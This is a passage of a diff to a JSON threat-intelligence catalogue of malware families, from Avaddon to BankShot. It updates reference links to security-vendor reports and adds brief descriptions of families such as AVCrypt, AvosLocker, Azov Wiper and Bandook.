"https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/", + "https://twitter.com/dk_samper/status/1348560784285167617", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.swascan.com/it/avaddon-ransomware/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://arxiv.org/pdf/2102.04796.pdf", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/", + "https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", + "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", + "https://www.tgsoft.it/files/report/download.asp?id=568531345", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis", "https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire", - "https://www.swascan.com/it/avaddon-ransomware/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.tgsoft.it/files/report/download.asp?id=568531345", - "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", - "https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/", - "https://www.connectwise.com/resources/avaddon-profile", - "https://twitter.com/dk_samper/status/1348560784285167617", - "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://arxiv.org/pdf/2102.04796.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://twitter.com/Securityinbits/status/1271065316903120902", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/" + "https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf" ], "synonyms": [], "type": [] @@ -13021,10 +13847,11 @@ "value": "AvastDisabler" }, { - "description": "", + "description": "Bleeping Computer notes about discovery of AVCrypt, a malware that tries to uninstall existing security software before it encrypts a computer. Furthermore, as it removes numerous services, including Windows Update, and provides no contact information, this ransomware may be a wiper.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt", + "https://twitter.com/malwrhunterteam/status/976925447043846145", "https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/" ], "synonyms": [], @@ -13065,41 +13892,50 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria", - "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", - "http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery", - "https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA", - "https://reaqta.com/2019/04/ave_maria-malware-part1/", - "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", - "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", + "https://www.youtube.com/watch?v=81fdvmGmRvM", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1", "https://www.youtube.com/watch?v=T0tdj1WDioM", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", - "https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.youtube.com/watch?v=-G82xh9m4hc", - "https://blog.yoroi.company/research/the-ave_maria-malware/", - "https://asec.ahnlab.com/en/36629/", - "https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", - "https://www.youtube.com/watch?v=81fdvmGmRvM", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies", + "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.youtube.com/watch?v=-G82xh9m4hc", + "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", + "https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw", + "https://www.huntress.com/blog/ave-maria-and-the-chambers-of-warzone-rat", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://reaqta.com/2019/04/ave_maria-malware-part1/", "https://blog.morphisec.com/syk-crypter-discord", - "https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest", - "https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1", + "https://blog.yoroi.company/research/the-ave_maria-malware/", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://kienmanowar.wordpress.com/2023/03/25/quicknote-decrypting-the-c2-configuration-of-warzone-rat/", + "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", + "https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA", + "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + "https://asec.ahnlab.com/en/36629/", + "https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/", + "https://exploitreversing.files.wordpress.com/2022/11/mas_6-1.pdf" ], "synonyms": [ "AVE_MARIA", @@ -13114,26 +13950,26 @@ "value": "Ave Maria" }, { - "description": "", + "description": "AvosLocker is a ransomware-as-a-service (RaaS) gang that first appeared in mid-2021. It has since become notorious for its attacks targeting critical infrastructure in the United States, including the sectors of financial services, critical manufacturing, and government facilities.\r\n\r\nIn March 2022, the FBI and US Treasury Department issued a warning about the attacks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www.ic3.gov/Media/News/2022/220318.pdf", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", "https://news.sophos.com/en-us/2021/12/22/avos-locker-remotely-accesses-boxes-even-running-in-safe-mode/", - "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", - "https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/", + "https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf", + "https://www.ic3.gov/Media/News/2022/220318.pdf", + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen" ], "synonyms": [], "type": [] @@ -13154,6 +13990,19 @@ "uuid": "b12d9354-f67b-47dd-944c-82cfdff7b9a3", "value": "Avzhan" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.axlocker", + "https://blog.cyble.com/2022/11/18/axlocker-octocrypt-and-alice-leading-a-new-wave-of-ransomware-campaigns/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "017ea8db-6eb4-4df1-bac0-da908d2aea9f", + "value": "AXLocker" + }, { "description": "", "meta": { @@ -13185,66 +14034,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult", - "https://community.riskiq.com/article/56e28880", - "https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", - "https://community.riskiq.com/article/2a36a7d2/description", - "https://fr3d.hk/blog/gazorp-thieving-from-thieves", - "https://www.zscaler.com/blogs/security-research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", - "https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update", - "https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html", - "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", - "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.splunk.com/en_us/blog/security/-applocker-rules-as-defense-evasion-complete-analysis.html", - "https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html", - "https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05", - 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"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", + "https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/", + "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", + "https://community.riskiq.com/article/56e28880", + "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", - "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://asec.ahnlab.com/en/26517/", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/", "https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers", - 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It is manually written in FASM, unrecoverably overwriting data in blocks of 666 bytes, using multi-threading.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper", + "https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidsware-but-polymorphic-wiper/", + "https://twitter.com/_CPResearch_/status/1587837524604465153", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper" + ], + "synonyms": [], + "type": [] + }, + "uuid": "db8dee2a-938e-46af-b2e3-ef5d6e626da7", + "value": "Azov Wiper" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcb369e1-0783-4188-8841-936c6976035f", + "value": "Babadeda" + }, { "description": "", "meta": { "refs": [ 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"FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. 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"https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/", "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://research.checkpoint.com/the-evolution-of-backswap/" + "https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/", + "https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.cert.pl/en/news/single/backswap-malware-analysis/", + "https://www.cyberbit.com/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/" ], "synonyms": [], "type": [] @@ -13522,8 +14392,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://www.us-cert.gov/ncas/analysis-reports/ar19-252a", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack" ], "synonyms": [], "type": [] @@ -13563,9 +14435,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch", + "https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/", "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/" + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf" ], "synonyms": [], "type": [] @@ -13578,32 +14450,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-web/", - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", - "https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait", "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", - "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign", + "https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait", + "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2", - "https://lab52.io/blog/new-patchwork-campaign-against-pakistan/", - "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", "https://ti.qianxin.com/blog/articles/apt-c-09-reappeared-as-conflict-intensified-between-india-and-pakistan/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://lab52.io/blog/new-patchwork-campaign-against-pakistan/", + "https://securelist.com/apt-trends-report-q1-2021/101967/", + "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "48ca79ff-ea36-4a47-8231-0f7f0db0e09e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f28fa5ca-9466-410c-aa32-4bd102f3f0e1", "value": "BadNews" }, @@ -13625,9 +14489,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", - "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/" + "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf" ], "synonyms": [], "type": [] @@ -13640,9 +14504,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.baldr", + "https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf", "https://www.youtube.com/watch?v=E2V4kB_gtcQ", - "https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/", "https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/" ], "synonyms": [ @@ -13684,8 +14548,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital", - "https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/", - "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-bamital-13-en.pdf" + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-bamital-13-en.pdf", + "https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/" ], "synonyms": [], "type": [] @@ -13711,8 +14575,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bancos", - "https://www.fireeye.com/blog/threat-research/2009/03/bancos-a-brazilian-crook.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/banking-trojan-latam-brazil" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/banking-trojan-latam-brazil", + "https://www.fireeye.com/blog/threat-research/2009/03/bancos-a-brazilian-crook.html" ], "synonyms": [], "type": [] @@ -13721,18 +14585,19 @@ "value": "bancos" }, { - "description": "", + "description": "Bandook malware is a remote access trojan (RAT) first seen in 2007 and has been active for several years. Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook", - "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", - "https://research.checkpoint.com/2020/bandook-signed-delivered", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook", "https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/", - "https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot", "https://research.checkpoint.com/2020/bandook-signed-delivered/", + "https://research.checkpoint.com/2020/bandook-signed-delivered", + "https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot", + "https://www.eff.org/deeplinks/2023/02/uncle-sow-dark-caracal-latin-america", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "https://twitter.com/malwrhunterteam/status/796425285197561856", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook" + "https://www.eff.org/files/2018/01/29/operation-manul.pdf" ], "synonyms": [ "Bandok" @@ -13752,15 +14617,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "fa9b2176-1248-4d59-8da2-c31c7501a81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5c3c53ff-c81f-4daa-9b60-672650046ed7", "value": "bangat" }, @@ -13769,10 +14625,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori", - "http://blog.kleissner.org/?p=69", + "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/", "http://blog.kleissner.org/?p=192", - "http://osint.bambenekconsulting.com/feeds/", - "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/" + "http://blog.kleissner.org/?p=69", + "http://osint.bambenekconsulting.com/feeds/" ], "synonyms": [ "BackPatcher", @@ -13789,30 +14645,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot", + "https://malverse.it/analisi-bankshot-copperhedge", + "https://blog.reversinglabs.com/blog/hidden-cobra", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-133a", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.cisa.gov/uscert/ncas/alerts/aa22-108a", "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", - 